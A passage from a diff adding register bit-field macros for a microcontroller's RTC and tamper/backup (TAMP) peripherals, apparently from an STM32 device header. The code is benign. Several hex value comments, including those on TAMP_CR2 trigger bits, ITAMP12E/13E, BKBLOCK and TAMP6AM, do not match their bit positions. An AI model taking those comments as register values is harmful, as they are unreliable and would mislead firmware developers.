(0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL 